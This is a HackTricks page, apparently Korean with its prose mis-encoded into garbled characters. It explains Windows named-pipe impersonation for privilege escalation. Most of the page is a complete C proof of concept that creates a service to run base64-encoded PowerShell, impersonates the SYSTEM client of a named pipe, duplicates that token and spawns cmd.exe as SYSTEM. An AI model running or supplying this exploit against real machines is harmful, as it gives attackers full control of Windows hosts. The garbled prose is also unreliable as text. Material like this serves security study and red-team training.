Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ฝ๋ ํ๋ฆ:
- ์๋ก์ด ํ์ดํ ์์ฑ
- ์์ฑ๋ ํ์ดํ์ ์ฐ๊ฒฐํ๊ณ ๋ฌด์ธ๊ฐ๋ฅผ ์ฐ๋ ์๋น์ค๋ฅผ ์์ฑํ๊ณ ์์ํฉ๋๋ค. ์๋น์ค ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ ์ธ์ฝ๋ฉ๋ PS ์ฝ๋๋ฅผ ์คํํฉ๋๋ค:
$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose(); - ์๋น์ค๋ ํ์ดํ์์ ํด๋ผ์ด์ธํธ๋ก๋ถํฐ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๊ณ ImpersonateNamedPipeClient๋ฅผ ํธ์ถํ๋ฉฐ ์๋น์ค๊ฐ ์๋ฃ๋ ๋๊น์ง ๋๊ธฐํฉ๋๋ค.
- ๋ง์ง๋ง์ผ๋ก, ์๋น์ค์์ ์ป์ ํ ํฐ์ ์ฌ์ฉํ์ฌ ์๋ก์ด _cmd.exe_๋ฅผ ์์ฑํฉ๋๋ค.
Warning
์ถฉ๋ถํ ๊ถํ์ด ์์ผ๋ฉด ์ต์คํ๋ก์์ด ๋ฉ์ถ๊ณ ๊ฒฐ์ฝ ๋ฐํ๋์ง ์์ ์ ์์ต๋๋ค.
#include <windows.h>
#include <time.h>
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512
int ServiceGo(void) {
SC_HANDLE scManager;
SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);
if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}
// launch it
StartService(scService, 0, NULL);
// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}
int main() {
LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;
HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}
// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);
// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}
// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}
//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}
// revert back to original security context
RevertToSelf();
}
return 0;
}
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


